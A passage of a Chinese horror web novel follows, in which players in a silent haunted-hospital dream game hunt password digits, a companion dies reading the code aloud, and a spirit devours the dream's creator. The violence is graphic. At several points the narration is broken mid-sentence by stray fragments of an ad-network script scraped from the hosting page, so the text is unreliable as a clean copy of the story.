俞小澄依次指了指在场四人和四间手术室,权当是分配任务,让每个人都进入一间手术室寻找密码数字。 在不能说话的情况下,有人配合,就有人背道而驰。 邹奕根本不管别人怎么看,独自蜷缩在墙角,堵住耳朵,埋首膝盖上,仿佛正在发生的一切都与他无关似的。 俞小澄心中蹿出火苗,原本就觉得此人多余,不仅起不到一丁点作用,还可能给人添乱,负能量满满,又不听劝。 此时一个念头忽然闪进了俞小澄脑海。 如果邹奕在游戏中丧命,组合人数重新平衡,这场游戏有没有可能自动结束呢? 她低头看向邹奕的眼神冰冷至极,无数送他上路的想法源源不断地涌现,直到范正昂拍了拍她的肩,她才从幻想中回过神来。 说不了话,范正昂懒得理会邹奕,比划着手势,让俞小澄和汤神婆各负责一间手术室,而他与吴樊祐各自搜寻两间。 见吴樊祐和汤神婆都没有异议,俞小澄便也应了下来,然后走向了分配给她的一号手术室。 轻手轻脚踏入手术室,俞小澄有些茫然无措,连招财都没找到的密码数字,又会藏在何处,她丝毫没有头绪。 俞小澄盯着那两团绿火看了好一会儿,房中的怪物像没有意识一般游荡,她不敢轻举妄动,可一直傻站着也不是办法。 她的眼珠来回转着,视线在黑暗中探寻,思考着哪里会是招财无法探索到的地方。 不等她自己找到答案,手术室仿佛主动将答案送到了她面前。 手术室的灯忽然亮起,照得俞小澄睁不开眼,过了好一会儿才适应过来。 房间里传来一个陌生的男子声音,态度公事公办,说话干脆利落,带着点命令的口吻:“过来躺好,不用紧张。” 俞小澄茫然环顾四周,明亮干净的手术室中央摆着一张手术椅,旁边站着一位衣着干练整洁,戴着口罩的男医生,一手拿着口腔镜,一手拿着牙钳,正招呼她到手术椅上躺好。 心下骇然,俞小澄转了两圈也没看见招财进宝,她瞬间明白,自己又进入了某种幻境。 然后,她也知道了,密码只可能藏在招财进宝无法进入的幻境之中。 俞小澄不敢轻易靠近手术椅,只是静静站在原地,眼睛不停瞥向别处,四处搜寻着提示密码的线索。 “干什么呢?赶紧过来,后面还有很多病人排队呢。” 牙医又催了一声,俞小澄并不敢回话,也不敢靠近,保持着与牙医的距离,围着墙边转了一圈,最终发现一无所获,视线最终落在了手术室中央的手术椅上。 整间手术室里,只剩下手术椅附近还没有找过,俞小澄十分不情愿地一步步走近,来到了牙医面前。 “干嘛呢?当这儿是旅游景点呢?” 牙医骂骂咧咧,这正常的反应实在让俞小澄以为自己逃离了手术室游戏。 她第一反应是其他房间有人遇害了,且这个人是吴樊祐、范正昂和邹奕其中之一,因此组合发生变化,达到某种平衡,游戏便被迫中止。 可再一细想,又发现了不对劲,如果真的是游戏中止,那她应当 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 能看到招财进宝,如今不见,便可知自己尚在幻境中。 因此,对于牙医的质问,她闭紧嘴巴,一个字都不敢回。 见她一直不说话,牙医又絮絮叨叨开始问话。 “叫什么名字?” “……” “清楚今天做什么手术吧?” “……” “医生问话呢,你干嘛不回答?” 俞小澄指了指耳朵,又指了指嘴,双手来回在身前晃动,装出一副又聋又哑的模样。 牙医整个人都愣住了,手里牙钳捏得咔咔作响。 俞小澄趁着牙医发愣,扭头在手术椅上寻找起线索,可不管是椅子上还是椅子下,全都干干净净,不见一个数字。 忽然,一只手扼住了俞小澄的手腕,她下意识地想后撤,却被钳制得死死的,手腕挣脱不开,抬眼便见牙医眯眼笑着。 “原来不会说话呀,那不如让我检查检查你的舌头,说不定能治一治你这开不了口的毛病!” 说话间,牙医将俞小澄往椅子上推,而身下的椅子也仿佛有了生命一般,长出五六只纤长的手臂,死死抓住俞小澄的四肢和腰,让她挣扎不脱。 牙医伸手掐住俞小澄的脸颊,试图让她张开嘴,牙钳开合,发出金属的碰撞声。 俞小澄死命咬紧牙关,眼瞅着牙钳一寸寸靠近,心脏简直要跳出胸腔了。 心中直呼不妙,感觉自己今日在劫难逃,心中不甘,愤恨地对上了牙医的视线。随即,她觉察到一丝异样。 正在危机时刻,一个人影冲了过来,一拳打在牙医脸上,那力道将人直接掀翻在地。 只见吴樊祐拿起一旁电钻就往手术椅生出的那些手臂上招呼,血液溅了俞小澄一身,那腥味惹得俞小澄几欲作呕。 压住俞小澄的那些手臂吃疼卸了力,俞小澄被吴樊祐一拉,便从手术椅上脱了身。 “学姐,你没伤着吧?”吴樊祐一脸担忧地将俞小澄转了个圈,似要将她前前后后看个透。 俞小澄被他转得头晕,身上残留的血迹更让她作呕,这种不适感持续攻击着她的神经,令她想要破口大骂。 话刚到嘴边,俞小澄便捂住了嘴,倒不是因为想吐,而是突然意识到,还没到能够开口的时候。 她顺势一把推开吴樊祐,然后在吴樊祐诧异的阵阵呼唤声中,一鼓作气冲出了手术室。 手术室里的灯霎时间熄灭,四周重新归于黑暗之中,俞小澄顺利地返回了过道里。 她觉得恶灵普遍没什么新颖的想法,总想用幻觉迷惑玩家,让玩家掉以轻心,遂而堕入陷阱之中。比如就像现在这样,又化出一个吴樊祐,上演一出英雄救美的老套戏码,然后等她回应对方担心的问话。 可惜,梦境的规则,违反必死。 就算吴樊祐有可能出现在房中救下俞小澄,也不可能开口向她问话。 梦境的规则,也不只是针对住客。 只要俞小澄没有违反规则,恶灵便无法判她死刑。 所以,当牙医威胁到她生命时,她忽然觉察出些许异样,明白了幻境的意图,并自牙医的眼睛里读到了她想要找的那个数字。 188. 梦境(七) 俞小澄带着第一个密码数字“9”逃出了手术室,回头只见那两团绿火依旧在手术室内漫无目的地飘着。 手术室外,邹奕依然蜷缩在角落里,似乎一步都未移动,大家正在忙碌的事仿佛不在他应付之列,就像这些事本就应该由别人来解决一样。 俞小澄一出来就被招财进宝簇拥着,嘘寒问暖,可俞小澄此刻没心情回应两个小家伙的关心,她看着龟缩在墙角的人就来气,怒上心头,竟产生一种邪恶的念头。 她直冲冲地走到了邹奕面前,一脚踢在邹奕的身上,将人踢倒在地。 邹奕一脸惊诧地抬头望着俞小澄,一肚子火,骂人的话看样子就要冲口而出,他赶紧捂住了嘴,硬生生将话憋了回去。 他没有被愤怒冲昏头脑,倒是叫俞小澄多看一眼,俞小澄原本想着他或因痛或因怒叫出声,那他必定难逃怪物毒手,结果被他反应过来,逃过一劫。 俞小澄送上轻蔑的目光,微微扬起一边嘴角,转身便往另一间手术室走。 俞小澄刚走两三步,便看见吴樊祐从二号手术室里冲了出来,想来也在手术室中经历了幻境,也不知密码有没有到手。 俞小澄冲吴樊祐挥了挥手,正想迎上前去打听消息,却发现吴樊祐身形未顿,甚至脚下步伐加快,一眼看过去,还以为他未走出幻境。 心中疑惑不得解,而吴樊祐快步擦身而过,俞小澄正欲拦阻,却发现吴樊祐侧身挡在她身后,一只手抓住邹奕的手腕,一只手掐住邹奕的脖子。 原来,邹奕咽不下这口气,妄图从背后偷袭俞小澄,偏偏遇到吴樊祐走出手术室看到了这一幕。 吴樊祐掐着邹奕脖子的手毫不客气地使劲,根本不管邹奕一脸痛苦的挣扎。 渐渐地,邹奕的脸胀成了猪肝色,嘴里发出“嗬嗬”的憋气声,仿佛是在求饶认错。 俞小澄担心吴樊祐真将人掐死了,赶紧挽住吴樊祐的胳膊,将人往后拖拽,另一只手拍着吴樊祐的小臂,以示安抚。 吴樊祐总算松了手,被俞小澄拽着后退几步,然后恶狠狠地盯着邹奕。 而被吴樊祐死盯着的人,此刻正弓着腰身扶着墙,忍不住一阵咳嗽,咳得眼泪鼻水齐流,齁喘着想要顺下一口气。 不过须臾之间,一道黑影出现在邹奕身后,眼睛处燃烧着两团绿火,嘴里阴森森地念叨着:“终于抓到你了,你这只吵吵嚷嚷的小老鼠!” 邹奕一声求救尚在喉头,一道寒光就从他脖子划过,留下一道残影。 邹奕就此失了声,绝望地捂住脖子,任由鲜血喷溅而出,嘴里只能发出被血液淹没到窒息的咕噜声。 那怪物似乎并未因此满足,握着手术刀的手瞬间戳穿了邹奕的胸膛,等收回手后,他才心满意足地漫步往一号手术室里走。 再看邹奕,已经彻底死透,倒在血泊中没了生气。 吴樊祐挡在俞小澄身前,被溅了一身血,俞小澄捂住口鼻,拼命控制着呕吐的冲动。 二人退到原处,靠在墙边许久才稳定住情绪。 吴樊祐在俞小澄的手心写了个一竖,俞小澄知晓他成功拿到了第二个密码数字,随即她也将自己找到的数字“9”通过手写的方式传递给了吴樊祐。 二人暂且休息片刻,等着其他两人走出手术室。 其实除了等待还未回来的人外,俞小澄还在等着看这场游戏会不会结束。 方才那多余的邹奕丢了性命,组合比例发生改变,俞小澄期盼着游戏能因此而被迫中止。 可惜,等了足足十来分钟,她只等到范正昂负伤逃出手术室,却并未等到自己想要的结果。 游戏仍在继续。 范正昂带回了三号手术室的密码数字“4”,可他们又等了十分钟也没等到汤神婆。 俞小澄让招财进入四号手术室探探汤神婆的情况,得到的回答却是:“四号手术室里除了怪物医生,根本就没有其他人了。” 汤神婆就这么凭空消失了。 俞小澄似乎理解了为何游戏没有结束,说不定汤神婆早就死了,所以即便邹奕被杀,情况依然没有改变。 想要安稳度过六日的愿望破灭了,俞小澄不得不考虑消灭掉恶灵,只是现在还不是想这些的时候,剩下的三个密码数字,她不得不先想办法弄到手。 无法跟吴樊祐和范正昂解释太多,她只是让吴樊祐和范正昂接着去找五号手术室和六号手术室里的密码。 至于她自己,她指了指四号手术室。 就此重新分配完毕,他们迅速开始各自新的冒险任务。 俞小澄带着胡思乱想迈入四号手术室的大门,眼看着室内景象随着那两团绿火发生改变。 灯光亮起,一幅令人作呕的场面展现眼前。 中央的手术台上,躺着一具面目全非的血尸,五六只血手将其开膛破肚,尸体的手指上刺入几根钢针,仿佛死前经历过严刑拷打。 看衣服装扮,俞小澄认出那正是汤神婆。 无影灯照在尸体上方,看上去如同正在为一件恶心诡异的艺术品打光,而手术台旁站着的医生,正一脸欣赏。 觉察到有人进屋,医生随意将汤神婆的尸体推下了手术台,手术台上那五六只血淋淋的手随即消失。 医生用衣服擦了擦手术刀上的血,冲着俞小澄招手道:“轮到你了。” 俞小澄只觉一阵恶寒,看上去这间手术室里的怪物思维模式似乎有些不一样。 意识到这个怪物医生不会比一号手术室那个好对付,俞小澄本能地往门边退了一步。 对于能否从怪物身上拿到密码,并安然无恙逃出手术室,俞小澄心中没底。 她知道自己只要不出声,必定死不了,可这怪物又有什么折腾人的手段,她实在不清楚,特别在看到汤神婆的惨相后,更觉惊慌。 “让我检查一下,你的内脏够不够健康。” 医生发出怪异的笑,伸直手臂向俞小澄一步步靠近,似要将俞小澄抓上手术台,完成自己下一件“艺术品”。 俞小澄眼看着医生一步步靠近,注意力全集中在来人的行动轨迹上,心中预测着逃跑路线。 她并没有逃出门外,而是在医生接近时,闪身绕边冲到了房间中央,然后停在手术台后,静静地望向医生,仿佛等待着医生的下一步。 医生扑了个空,没有轻易放弃,转身就带着阴邪的笑追了过去,然后便与 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 俞小澄绕着手术台开启了追逐战。 俞小澄反应十分灵活,一直绕着手术台,躲避着医生的追捕,始终不远离手术台,医生绕了好几圈也没能碰到俞小澄身上一片衣布。 医生追得脾气愈发暴躁,几度想要越过手术台一把逮住那恼人的小丫头,幸得俞小澄反应快,几次都险险躲过医生或是拿刀或是没拿刀的手。 加之手术台也总会给医生添堵,只要有人往台上爬,便会齐齐生出五六只手,根本不管爬上去的人是敌是友,一律逮住再说。 医生也因此受了阻碍,只能无奈地绕着手术台继续追赶俞小澄。 如此折腾许久,双方都渐渐显了颓势,大口地喘着粗气,追逐的速度也就慢了下来。 突然,医生趁着俞小澄贴近手术台时,仿佛发现了破绽,隔着手术台就向俞小澄伸出魔爪。 可却不知,这一次是俞小澄故意抛出的鱼饵,只见俞小澄看准时机,侧身闪避,然后一手扣住医生的手腕,顺势将人往前一带,医生便摔在了手术台上。 此时,手术台见有客临门,立马生出手来好生招待,抓住医生的手脚不撒手。 医生怒不可遏,嘴里直骂娘,吵着让那没有脑子的手术台松手。 俞小澄趁机赶紧摁住医生的头,在那双眼珠子里寻找着密码数字。 很快,她便在医生的吵吵嚷嚷中,找到了她想要的答案,随后挑衅地拍了拍医生的脸,要不是口不能言,她非得好好讥笑这变态医生一番。如今没这闲工夫,趁医生还未脱身,她赶紧转身往房门口冲去。 顺利离开四号手术室,她拖着如同灌铅一般的两条腿,回到了熟悉的黑暗之中。 当她出门时,吴樊祐和范正昂已经坐在门外,见她平安归来,脸上喜笑颜看。 三人将各自拿到的答案在手心里对上一对,随即得出了本场游戏的通关密码——914723。 不敢在这个地方多歇片刻,三人急冲冲回到了出口处。 俞小澄在屏幕上点了点,准备将开门密码输入其中,可点了半天也没出现输入键盘,只有一条声波线出现在六个方框下方。 三人瞬间傻眼了,本以为终于通关了,谁知道这才是恶灵为他们准备的惊喜。 这扇门,只能通过语音密码开启。 也就意味着,他们必须开口出声,念出那一组密码数字,才能开门结束本场游戏。 然而,在这场游戏中,只要出声必是死路。 三人全都眉头紧锁,用眼神相互传递着心中没谱的情绪,一下全都瘫坐在地上,没法交流,便只能各自思考着还有没有可能性离开这破游戏。 俞小澄感觉想得头都要秃了,也想不出有什么办法不出声也能输入语音密码。 就算可以让招财进宝代为念出密码,可二人的声音只有俞小澄能听到,根本没法被用作密码输入。 难怪这场游戏没有限定时间,因为恶灵笃定,在这样的规则下,必定有人得死。 是啊,只要有一个人念出这组数字。 正当俞小澄想着这唯一可能逃出生天的办法,黑暗中忽然传来一个熟悉的声音,高声念道:“9、1、4、7、2、3。” 189. 梦境(七) 一瞬间,俞小澄意识到正在发生什么,猛然站起身,在黑暗中一手抓住了吴樊祐的胳膊,一手堵住了吴樊祐的嘴,虽然她心里清楚,一切为时已晚。 身后的门缓缓开启,范正昂赶紧拉俞小澄往门外走,俞小澄则死死拉住吴樊祐不放,心想着:赶紧出门,或许还跑得掉。 “学姐,犯规就是犯规,我应该是出不去了。” 吴樊祐说话间将手往门外伸去,却像是在空中撞上了一堵看不见的空气墙,半根指头都挪不出门外,随即他试图将俞小澄推出门外。 俞小澄想要破口大骂,但被吴樊祐抬手捂住了嘴。 “学姐,我的时间不够了,不能再陪你了,你已决意留在旅店,就到此为止吧,这一次,我算是赎罪了吗?” 吴樊祐的话很轻,仿佛只是老朋友之间闲暇之余的唠嗑。 俞小澄嗓子干涩,心也莫名被揪了起来,只觉很疼,疼到眼泪都不争气地逃出了眼眶,在水汽朦胧的视线中,她看到一个黑影瞬间闪到了吴樊祐身后,手里的寒光刺得她浑身一激灵。 接着,一只手轻柔地覆上了她的眼眸,耳边只听到一句话:“范正昂,带我学姐走!” 随后,她感觉拽她的手一用力,身子自然而然向后倒去,而她的手从吴樊祐的胳膊一点点滑落,如何也没法将其拉出门外。 覆在她眼上的手缓缓滑落,黑暗中看不清吴樊祐的脸,只能看见一道寒光刺透了他的胸膛。 一句含糊不清的话顺着鲜血自口中流出:“学姐……别放弃离开旅店,也别讨厌我……” 当她整个人被拉扯着摔出门外,眼前只余一扇紧闭的木门,并非手术室的出口,而是病房门。 他们又一次回到了熟悉的走廊。 外面明明天已经大亮,可走廊里依然一片昏暗,安全出口的指示牌形同虚设,只能作为这条没有尽头的走廊里唯一的装饰物,提供有限的照明。 俞小澄跌坐在地上,目光呆滞地望着紧闭的病房门。 身后的范正昂一时不知道该说什么安慰的话,安静地在她身后坐下,轻轻拍了拍她的肩,一句话也说不出口。 招财进宝围在俞小澄身旁,忧心忡忡地望着俞小澄失魂落魄的脸,对视一眼,最终也没有安慰的话可以说出口,或许此刻让她静静,是最好的选择。 吴樊祐就这么轻而易举死了? 俞小澄仿佛经历了一场噩梦,可醒来后,左顾右盼,的确不见吴樊祐的身影。 明明想得很好,只要这场梦境结束,她留在梦境中继续寻找白羽楠的梦境,吴樊祐回到属于自己的生活。 从此或许不再见面,偶尔回忆起,大概会有遗憾,却不会有恨。 一切都应该按照这个剧本进行,一场不必明说的道别,二人各奔东西。 本应该是这样的,可现在呢? 似乎也没有太多变化,没有太多告别,二人从此阴阳两隔。 若是今后回忆起来,俞小澄只会感觉痛。 “这种时候一定要装英雄吗?可笑!” “以为这样我就会感恩戴德吗?” “凭什么他说结束就结束?” “他就这么死了,能成为恶灵吗?他连住客都不是,凭什么就这么决定去送死!” 从低声呢喃,到愤怒的呐喊,俞小澄沉浸在自己的痛苦中,久久难以平复。 “他是在报复我吗?报复我不肯尝试离开旅店,报复我始终想要逃避曾经的记忆,曾经的罪过?” 俞小澄不知道自己在问谁,明明谁也不会告诉她答案。 心里堵着一口气,让她憋闷难受,找不到排解的出口,那种对于失去的绝望和苦痛,渐渐化为心中的怒火,将她的理智焚烧殆尽。 她该去找谁发泄这份怒火呢? 恶灵! 当这个答案浮现在脑海中,俞小澄心中的某根弦断了,发出刺耳的响声,在耳朵里久久回荡。一种偏执的情绪冲击着她的理智,泪水便化作了笑容。 “范正昂,我带你去找出恶灵,离开这该死的梦境如何?” 俞小澄脸上眼泪未干,嘴角却扬出一个瘆人的笑,眼神空洞地望着前方,说话的语气仿佛心死了一样。 范正昂一直弄不清俞小澄自言自语在说什么,这会儿再听俞小澄同自己搭话,急忙出声回应:“你找到离开梦境的办法了?” “是啊,离开不是很简单吗?我干嘛要找什么鬼神婆呢?杀掉恶灵不就好了吗?”俞小澄怪笑起来。 范正昂感觉她彻底崩溃了,精神明显不太正常,有些胆怯地安慰道:“俞小澄,你冷静点,刚才那种情况谁也不想,你学弟选择牺牲自己,你更要振作起来,好好活下去,对吧?” 俞小澄歪着头,斜眼看着范正昂,嘴角的笑带着些许狡黠:“为什么牺牲的是他,不是你我呢?哈哈哈……因为我们都是恶人!死后都会成为恶灵,折磨与我们一样到穷途旅店赎罪的住客。” “怎么可能……你在说什么喃……什么赎罪……我……”范正昂一脸错愕,对于俞小澄口中所言有些难以置信。 俞小澄并不在意范正昂能不能理解,语气冰冷地说:“以后你就知道了,现在你只需要帮我除掉恶灵,你也想赶紧离开这场噩梦吧?” “我……该怎么帮忙?”范正昂虽不知俞小澄是疯了,还是认真的,但他俩如今目标一致,他自然愿意协助。 “你不需要做什么,只要一个人回病房等着,坚持到我将恶灵消灭即可。”俞小澄抬手指了指面前的房门,语气冷淡。 这句话好像是在让范正昂自生自灭,范正昂呆呆地看着俞小澄的背影,心情甚是复杂,他知道不应该祈求一个与自己毫不相干的人顾全自己的性命,也知道不应该寄希望于别人。 范正昂沉默了许久,最终点了点头,道了声:“好。” 没有质问,没有反对,只是坦然地接受了俞小澄近乎命令的话语。 俞小澄望向范正昂的眼神中似乎没有蕴含任何情绪,平静得如同一汪死水,仿佛往里面扔进一颗小石子,都不会在水面上激起一丝涟漪。 范正昂不过是保持了他长久以来对人的和气,他不是一个无理取闹的人,在他面前,坐着一个刚刚失去朋友的可怜人,他总习惯设身处地与他人共情,因此实在没办法在这种情况下,指 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 责对方安排的不合理。 的确不合理,如今活着的玩家就只剩他们两人,只要他们呆在一起,今后再也不会触发陷阱,就算不去对付恶灵,他们依然能在这场梦境中存活下来。 可他不会知道,俞小澄此时想的却是:“为什么死的不是你?为什么死的不是我?我们本就有罪,谁死都不冤枉……” 所以,俞小澄决定将范正昂独自留在病房里,能不能活全凭运气。 也许运气好,在他被医生护士保安杀死前,她就解决了恶灵;也可能运气不好,最终只会有她一人离开这场梦境。 什么结果对她来说都不重要了。 此刻她只剩一腔怒意,似要将这梦境的主人撕碎。 她被这些梦境夺走了一切,如今的她还剩什么呢?她再也想不出来了。 俞小澄冷漠地看着范正昂一步步走进面前病房,并客气地说了声“万事小心”,然后缓缓关闭了房门。 待走廊陷入无边的寂静,俞小澄慢悠悠地从地上爬起来,晃悠着身子,转身走向了对面的病房。 房门在眼前闭合,俞小澄轻声说道:“走吧,别让恶灵久等,这场游戏她已经玩得够尽兴了,是时候结束了。” 招财问:“姐姐知道如何找到恶灵了吗?” 俞小澄自信笑道:“当然,打开这扇门后,不管哪一条路,都会通向监控室,恶灵就在那里!” 招财有些不解,他其实探索整间病院时,并没有发现这样的地方。 俞小澄没有在意招财的疑惑,她用无比坚定的眼神看着招财,一字一句道:“我相信恶灵就在监控室,那她就一定在那里!我相信出了这道门就能去监控室,那路便必须在那里!这是恶灵自己定下的规则。” 招财在俞小澄眼中看到了焚烧着万物的烈焰,那是她所有情绪所化成的怒火,将她完全熔铸成了另一个人。 进宝仿佛被什么吸引,神情阴冷地飞到俞小澄面前,双手捧住她的脸颊。她张了张嘴,声音如同冰冷的雨水往俞小澄脑海中侵袭,试图熄灭这场大火。 一个带着些许魅惑韵味的声音在俞小澄的脑海中响起:“姐姐别怕,进宝会保护姐姐,任何胆敢伤害姐姐的人,进宝都会让它从这个世界消失。” 从进宝深邃的眼眸里,俞小澄又看到了那扇被阴森雾气包裹的铁门,她心中腾起一丝久别重逢的喜悦,迎着门走上前去,缓缓伸出手,拉开了那扇沉重的铁门。 门后一团灰雾冲了出来,将俞小澄撞入了那片熟悉的深海,眼前再次蒙上一层朦胧的滤镜,俞小澄只觉内心寒冷,冷到要将她冻结成冰。 怒火仿佛从她情绪中抽离,留下无尽的孤寂。 这一次,俞小澄终于明白了,进宝附身的条件,原来是她的愤怒。 再次操控俞小澄的身体,进宝扭动着脖子,伸展开手臂,按照俞小澄的指示,开门走了出去。 走廊里两个人影,见有人出现,又开始勤恳又热心地向客人介绍目的地。 左侧人影指着左边走廊说:“往这边走,前往监控室。” 右侧人影指着右边走廊说:“往这边走,前往监控室。” 190. 梦境(七) 一切正如俞小澄所想,这是由相信创造的梦境,所以才被她反向利用。 进宝带着招财穿过看不见的水墙,踏入了监控室内。 监控屏幕占了一整面墙,走廊、病房、候诊大厅、门诊室、楼梯间、电梯、卫生间、手术室……几乎医院所有角落都无死角地展示在屏幕上。 其中一个屏幕上,正映出范正昂的脸,他似乎又陷入了巡房游戏之中,此刻正惊险地躲避着保安的搜寻。 屏幕前的监控台上坐着一个长发女人,听到有人进了门也不慌,津津有味地看着屏幕上东躲西藏的人影,发出一阵欣喜若狂的笑声。 “看着玩家落入你的陷阱,很有意思吗?”进宝替俞小澄问道。 长发女人头也不回地说道:“一般吧,这不过是你们自己选择出来的结果,只要有人相信,真不真实又有何重要?” 进宝嗤笑道:“对于姐姐做出的选择,也请你心甘情愿接受吧,这不是你自己定下的规矩么。” 长发女人终于从屏幕上移开了视线,淡然站起身,扭头看向进宝,脸上露出厌倦的表情,讥笑道:“真有住客对付得了造梦者吗?我不信!为什么这种运气没有落到我头上?你一定是旅店管理者派来的卧底!” 女人说话时,俞小澄透过朦胧的视线,看清了眼前女人的面孔,那张脸没有被梦境修饰,依旧是俞小澄记忆中那个模样,楚楚可怜中带着些许阴鸷,坚强不屈下藏着病态的歇斯底里。 那长发女人正是禾苒。 进宝感受着体内俞小澄的愤恨,气恼地骂道:“呵,不管是住客,还是恶灵,你都这么讨人厌,姐姐真的讨厌你,你死了不冤!” “姐姐?谁?哼,讨厌我的人多了去了,我从不在意,凭什么你们的想法要左右我的人生?哈哈哈……说我有罪?我呸!我没有错,我不过说了一个小小的谎言,要怪就怪那些选择相信的人!” 对于禾苒的胡言乱语,进宝根本不在意,她此刻正闭眼嗅着空气中弥漫的气息,那是一股苹果醋的香气,进宝眼中放出光来,垂涎三尺地一步步靠近禾苒。 “你虽然很讨厌,但是你好香啊!” 当禾苒正疑惑着眼前玩家是不是有病时,进宝已经一把抓住了禾苒的手腕,鼻子凑近使劲闻着味道。 禾苒想要挣脱,却发现自己浑身无力,眼中终于露出了一丝惊恐,嘴里叫唤着:“不,这不是我的结局,这是我创造的世界,没有人能让我赎罪!我没罪!他们凭什么把我送到这个鬼地方?我不会原谅他们,不会原谅任何一个人!” 在禾苒撕心裂肺的叫喊声中,进宝一口咬在她的手腕上。 灵魂从身体一点点流逝,梦境随着她身体的颤抖开始震动,如同地震袭来,要将一切毁灭。 俞小澄的视线落在了控制台上的一张纸上,那是一张医院的辞退通知书。 恍惚间,俞小澄好像看到纸上翻滚着黑泥,正在呼唤着她靠近。 下意识的念头钻进俞小澄的脑海中,她仿佛能看出,那就是记忆之门的钥匙,可是,它的存在已经没有了意义,她想送走的人,早已离她远去。 当禾苒的灵魂被进宝吸食殆尽,强烈的白光将无数的屏幕切割成了碎片,整个世界碎成了沙,随着不知哪里来的风,消失在了白色的强光里。 吃饱喝足的进宝再次陷入沉睡,灰雾重归铁门之内,大门砰的一声关闭,俞小澄自深海漂浮而上,拿回了身体的控制权。 随即,无数的回忆冲进了她的脑海中,仿佛开疆扩土一般,要将她的脑海占据。 在那些碎片中,俞小澄又看到了不属于她自己的记忆。 那是属于禾苒的记忆。 比俞小澄想象中更加阴暗,看过后,俞小澄才知道,不管在梦境中,还是在现实中,禾苒都是个彻头彻尾的“病人”。 俞小澄见识过她的狠厉,只觉得那是为了生活不得已为之。 俞小澄也见过她不择手段,挑拨离间,只认为那是她生存的手段而已。 有些人,其实天生就是坏,并没有太多合理的解释。 所以禾苒能以谣言重伤他人,当别人不堪重负轻生时,她依然能嘲笑别人的脆弱。 她知道自己做的事有罪,但她就是想这么做。 然后将这些罪算到相信她谎言的人头上,自己则强装无辜。 她,有自己相信的一套生存法则。 俞小澄于混沌的记忆中醒来,头晕得想吐,那些病态的心理与自己的思维方式产生了强烈的冲突,二者仿佛要在脑子里拼个你死我活,折腾得俞小澄苦不堪言。 很快,她便受不了这种折磨,冲进卫生间吐了起来。 将胃里本就没多少的东西吐了个干干净净,喉咙像火烧一样难受。 后来,她爬回床上躺了许久,才将这种令人作呕的感觉尽数消化了。 当人彻底清醒后,俞小澄慢慢从被窝里支起身子,扭头看了看旁边空荡荡的床铺,眼泪便似决堤了一般,她呜咽着哭了起来。 从今往后,就真的只剩她一人了。 这是她第二次醒来发现身旁的人不会再出现在旅店里了,过往种种,她拼命想要塞进箱子里藏进记忆深处,可那些回忆如同一阵风,顷刻便在心中拂过,留下难以承受的酸楚。 原来死亡真的是一件十分突然的事。 在你还没有一点防备时,轻松跃入你眼帘,让你来不及闭眼,一切就已经无法挽回了。 曾经俞小澄感受并不深刻,眼前死的人何止一人两人,她以为自己已经见惯了死亡,完全可以沉稳承受住。 然后白羽楠和吴樊祐便相继离开了。 讽刺的是,两人都是为了救她而死。 她自诩已经是穷途旅店中最强大的存在了,可惜,她谁也救不了。 旅店或许就想让她孤零零一个人呆着,这才是对她真正的惩罚。 她或许有一天能在梦境中再次见到白羽楠,可是吴樊祐呢? 那个男人为了帮她离开旅店,以非住客的身份进入了旅店,目的并未达成,却白白搭上了自己的性命。 今后当她再回忆起吴樊祐时,不会是大学毕业时没有说出的告白,不会是四年隐藏心意的相伴,不会是四年告别的意难平,不会是意外再见时的喜出望外,不会是出生入死共闯难关…… 她眼前能看到的,只是被寒光刺透的胸膛,和鲜血喷溅到她脸上温热黏腻的触感,还有空气中弥漫的血腥味,以及最后嘴里模糊不清的那句话 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' :“别放弃离开旅店,也别讨厌我……” 俞小澄以为让吴樊祐就那么误会着,是对吴樊祐最好的选择,让他离开旅店后,不必牵挂留在旅店里的她。 可是,如今反而成了俞小澄的心魔,在吴樊祐死的那一刻,甚至还以为自己讨厌他。 俞小澄用被子捂住口鼻痛哭许久,直到眼泪干涸,眼睛干涩肿胀,脑袋也随着眼压升高而疼痛起来。 或许是哭累了,俞小澄倒在床上闭上了眼,意识消逝前一刻,她下意识地摸了摸兜里陶瓷娃娃,仿佛这是她活下去唯一的牵挂了。 睡着后,她做了一场梦。 梦里,她回到了阔别已久的老家,刚进门就看见母亲带着一脸宠溺的笑迎上前,开口就说她长途跋涉辛苦了,然后准备了一桌丰盛的晚餐。 饭桌上不止有她和母亲,还有大学毕业时接受了她告白的学弟吴樊祐,工作时结识的好友白羽楠,一直对她家多加照顾的热心邻居曾勇,亲戚家有出息的儿子张尧,全都围坐在一起。 他们举杯畅饮,庆祝大家相聚在一起。 这顿饭吃得其乐融融,俞小澄与他们说了许多话。 可渐渐地,梦境开始变得扭曲。 明亮的灯光变得昏暗,原本与她同坐一桌的人,接二连三地失去了踪影。 当俞小澄意识到时,饭桌上已经只剩她一人。 原本一桌子的美味菜肴也变得诡异,全都成了人肉骨血,看得俞小澄心惊。 然后,俞小澄就从睡梦中惊醒了。 窗外的天已经大亮,她竟一觉睡到了8点,此刻完全清醒过来,才注意到自己满身血污,连床单被套都跟自己一样,被鲜血装饰成了猎奇的艺术品。 “吴樊祐,叫客房服务,拿身换洗的衣物来。” 俞小澄顺口便叫出了声,然而回应她的只有沉寂的空气。 “哦,现在只剩我自己了。” 俞小澄面无表情地自言自语,然后拖着步子走进卫生间清洗一番,依旧穿着血迹干涸的衣服走了出来。 随后,她目光呆滞地走出了房间,如同一具行尸。 门外,站着同样狼狈的范正昂,见俞小澄出现正想搭话,却被俞小澄无视。 俞小澄仿佛根本就没有看见这个人,与他擦肩而过,径直上楼去往三楼餐厅。 这一日的餐厅显得格外冷清,俞小澄告诉自己:“没什么大不了,习惯这种东西,养一养就能形成。” 不过是回到曾经一个人的生活罢了,什么都不去想,只是活下去。 范正昂见她那不太正常的状态,不太敢靠近,害怕刺激到她的情绪,便善意地选择了远远看着。 然后,他便看见俞小澄若无其事地吃过早饭,又转移阵地到了隔壁休息活动区,在书架上翻找出一摞漫画,躺在懒人沙发上,一边看着漫画,一边晒着太阳。 仿佛已经走出失去朋友的阴霾,时而发出阵阵笑声,时而对着漫画吐槽几句,像极了自娱自乐的人。 